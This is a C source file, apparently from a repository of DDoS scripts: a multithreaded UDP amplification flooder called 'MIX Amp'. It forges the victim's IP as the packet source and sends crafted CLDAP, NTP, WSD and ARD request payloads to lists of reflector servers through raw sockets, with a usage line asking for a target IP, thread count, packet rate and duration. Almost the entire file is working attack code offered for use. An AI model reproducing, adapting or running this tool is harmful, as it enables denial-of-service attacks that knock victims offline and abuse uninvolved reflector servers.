Path: blob/master/DDOS Scripts/AMP Methods/NTP - SNMP - HAVEN - DNS -DRDOS - FRAG - SUDP - MEMCACHED/mixamp.c
4622 views
/***********************************************************************************************************1*2* @Project: MIX Amp3* @Author: Machiavel4* @Features: Sending UDP-based amplification attacks randomly. CLDAP, NTP, WSD, ARD.5*6***********************************************************************************************************/7#include <time.h>8#include <pthread.h>9#include <unistd.h>10#include <stdio.h>11#include <stdlib.h>12#include <string.h>13#include <sys/socket.h>14#include <netinet/ip.h>15#include <netinet/udp.h>16#include <arpa/inet.h>17#define MAX_PACKET_SIZE 819218#define PHI 0x9e3779b919static uint32_t Q[4096], c = 362436;20struct list21{22struct sockaddr_in data;23struct list *next;24struct list *prev;25};26struct list *head;27volatile int limiter;28volatile unsigned int pps;29volatile unsigned int sleeptime = 100;30struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };31void init_rand(uint32_t x)32{33int i;34Q[0] = x;35Q[1] = x + PHI;36Q[2] = x + PHI + PHI;37for (i = 3; i < 4096; i++)38{39Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;40}41}42uint32_t rand_cmwc(void)43{44uint64_t t, a = 18782LL;45static uint32_t i = 4095;46uint32_t x, r = 0xfffffffe;47i = (i + 1) & 4095;48t = a * Q[i] + c;49c = (t >> 32);50x = t + c;51if (x < c) {52x++;53c++;54}55return (Q[i] = r - x);56}57unsigned short csum (unsigned short *buf, int nwords)58{59unsigned long sum = 0;60for (sum = 0; nwords > 0; nwords--)61sum += *buf++;62sum = (sum >> 16) + (sum & 0xffff);63sum += (sum >> 16);64return (unsigned short)(~sum);65}66char * mixAMP_protocol(){67while(1){68char *protocol[4];69protocol[0] = "ldap.txt";70protocol[1] = "ntp.txt";71protocol[2] = "wsd.txt";72protocol[3] = "ard.txt";73return protocol[rand()%4+0];74}75}76void *mixAMP_setup(void *par1)77{78struct thread_data *td = (struct thread_data *)par1;79char datagram[MAX_PACKET_SIZE];80struct iphdr *iph = (struct iphdr *)datagram;81struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);82struct sockaddr_in sin = td->sin;83struct list *list_node = td->list_node;8485int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);86if(s < 0){87fprintf(stderr, "Could not open raw socket.\n");88exit(-1);89}90init_rand(time(NULL));91memset(datagram, 0, MAX_PACKET_SIZE);92iph->ihl = 5;93iph->version = 4;94iph->tos = 0;95iph->id = htonl(rand()%13370+1);96iph->frag_off = 0;97iph->ttl = MAXTTL;98iph->protocol = IPPROTO_UDP;99iph->check = 0;100iph->saddr = inet_addr("192.168.3.100");101udph->source = htons(rand()%13370+80);102udph->check = 0;103iph->saddr = sin.sin_addr.s_addr;104iph->daddr = list_node->data.sin_addr.s_addr;105iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);106if(mixAMP_protocol() == "ldap.txt"){107memcpy((void *)udph + sizeof(struct udphdr), "\x30\x84\x00\x00\x00\x2d\x02\x01\x07\x63\x84\x00\x00\x00\x24\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x64\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x30\x84\x00\x00\x00\x00", 51);108udph->len=htons(sizeof(struct udphdr) + 51);109udph->dest = htons(389);110iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 51;111}112if(mixAMP_protocol() == "ntp.txt"){113memcpy((void *)udph + sizeof(struct udphdr), "\x17\x00\x03\x2a\x00\x00\x00\x00", 8);114udph->len=htons(sizeof(struct udphdr) + 8);115udph->dest = htons(123);116iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 8;117}118if(mixAMP_protocol() == "wsd.txt"){119memcpy((void *)udph + sizeof(struct udphdr), "<:/>", 4);120udph->len=htons(sizeof(struct udphdr) + 4);121udph->dest = htons(3702);122iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 4;123}124if(mixAMP_protocol() == "ard.txt"){125memcpy((void *)udph + sizeof(struct udphdr), "\0\x14\0\x01\x03", 5);126udph->len=htons(sizeof(struct udphdr) + 5);127udph->dest = htons(3283);128iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 5;129}130int tmp = 1;131const int *val = &tmp;132if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){133fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");134exit(-1);135}136init_rand(time(NULL));137register unsigned int i;138i = 0;139while(1){140sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));141list_node = list_node->next;142iph->daddr = list_node->data.sin_addr.s_addr;143iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);144iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);145pps++;146if(i >= limiter)147{148i = 0;149usleep(sleeptime);150}151i++;152}153}154155int main(int argc, char *argv[ ])156{157if(argc < 5){158fprintf(stderr, "UDP AMP Mix - Undisclosed.to\n");159fprintf(stdout, "Usage: %s <target IP> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);160exit(-1);161}162srand(time(NULL));163int i = 0;164head = NULL;165fprintf(stdout, "Setting up sockets...\n");166int max_len = 128;167char *buffer = (char *) malloc(max_len);168buffer = memset(buffer, 0x00, max_len);169int num_threads = atoi(argv[2]);170int maxpps = atoi(argv[3]);171limiter = 0;172pps = 0;173int multiplier = 20;174FILE *list_fd = fopen(mixAMP_protocol(), "r");175while (fgets(buffer, max_len, list_fd) != NULL) {176if ((buffer[strlen(buffer) - 1] == '\n') ||177(buffer[strlen(buffer) - 1] == '\r')) {178buffer[strlen(buffer) - 1] = 0x00;179if(head == NULL)180{181head = (struct list *)malloc(sizeof(struct list));182bzero(&head->data, sizeof(head->data));183head->data.sin_addr.s_addr=inet_addr(buffer);184head->next = head;185head->prev = head;186} else {187struct list *new_node = (struct list *)malloc(sizeof(struct list));188memset(new_node, 0x00, sizeof(struct list));189new_node->data.sin_addr.s_addr=inet_addr(buffer);190new_node->prev = head;191new_node->next = head->next;192head->next = new_node;193}194i++;195} else {196continue;197}198}199struct list *current = head->next;200struct sockaddr_in sin;201pthread_t thread[num_threads];202sin.sin_family = AF_INET;203sin.sin_addr.s_addr = inet_addr(argv[1]);204struct thread_data td[num_threads];205for(i = 0;i<num_threads;i++){206td[i].thread_id = i;207td[i].sin= sin;208td[i].list_node = current;209pthread_create( &thread[i], NULL, &mixAMP_setup, (void *) &td[i]);210}211fprintf(stdout, "Starting flood...\n");212for(i = 0;i<(atoi(argv[4])*multiplier);i++)213{214usleep((1000/multiplier)*1000);215if((pps*multiplier) > maxpps)216{217if(1 > limiter)218{219sleeptime+=100;220} else {221limiter--;222}223} else {224limiter++;225if(sleeptime > 25)226{227sleeptime-=25;228} else {229sleeptime = 0;230}231}232pps = 0;233}234return 0;235}236237